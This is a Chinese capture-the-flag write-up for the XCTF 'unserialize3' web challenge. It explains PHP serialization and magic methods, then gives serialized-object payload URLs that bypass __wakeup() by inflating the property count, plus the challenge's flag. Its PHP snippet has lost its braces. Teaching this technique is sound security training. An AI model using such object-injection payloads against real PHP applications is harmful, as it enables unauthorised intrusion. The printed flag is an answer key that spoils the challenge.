XCTF-攻防世界CTF平台-Web类——10unserialize3(反序列化漏洞绕过__wakeup()函数)
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——10unserialize3(反序列化漏洞绕过__wakeup()函数)相关的知识,希望对你有一定的参考价值。
打开题目地址:
发现是一段残缺的php代码
题目名称unserialize3就是反序列化,要求我们通过反序列化漏洞绕过__wakeup()函数。
相关概念:
序列化:
序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
php的序列化和反序列化
php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。serialize()完成序列化的操作,将传入的值转换为序列化后的字符串;而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
serialize(mixed $value): string
serialize()返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方:
O::""::<field name 1><field value 1>…
当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
unserialize(string $str): mixed
unserialize()对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。
魔术方法
PHP中以两个下划线开头的方法,__construct(), __destruct(), __call(), __callStatic(),__get(), __set(), __isset(), __unset (),__sleep(),__wakeup(),__toString(),__set_state(),__clone(),__autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能。
与序列化和反序列化的魔术方法主要是:
__construct() //当一个对象创建时被调用
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当做字符串时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
所以我们先写一个php调用序列化函数的代码:
<?php
class xctf
public $flag = '111';
public function __wakeup()
exit('bad requests');
$a=new xctf();
echo(serialize($a));
?>
得到一个序列化对象O:4:“xctf”:1:s:4:“flag”;s:3:“111”;,其对象所在类名是"xctf"、该对象有一个属性,属性名为一个长度为4的字符串"flag"、该属性值为一个长度为3的字符串"111"
所以我们传入序列化对象的payload格式就是:
http://111.200.241.244:64924/?code=O:4:“xctf”:1:s:4:“flag”;s:3:“111”;
之后我们就是要在执行unserialize()反序列化之后绕过__wakeup()函数,_wakeup()函数漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。
例如当前xctf类对象只有1个参数属性$flag,序列化结果为:O:4:“xctf”:1:s:4:“flag”;s:3:“111”;
如果将xctf对象个数改成比1大的数,就会绕过wakeup。修改后的结果:O:4:“xctf”:2:s:4:“flag”;s:3:“111”;
修改之后的payload:
http://111.200.241.244:64924/?code=O:4:“xctf”:2:s:4:“flag”;s:3:“111”;
得到flag:cyberpeace54ebe7ec48c8aaa10ccc64cb338f080c
参考的网址:
https://baike.baidu.com/item/%E5%BA%8F%E5%88%97%E5%8C%96/2890184?fr=aladdin
https://www.php.net/manual/zh/function.serialize.php
https://www.php.net/manual/zh/function.unserialize.php
https://blog.csdn.net/silence1_/article/details/89716976
以上是关于XCTF-攻防世界CTF平台-Web类——10unserialize3(反序列化漏洞绕过__wakeup()函数)的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——1baby_web
XCTF-攻防世界CTF平台-Web类——14supersqli
XCTF-攻防世界CTF平台-Web类——7NewsCenter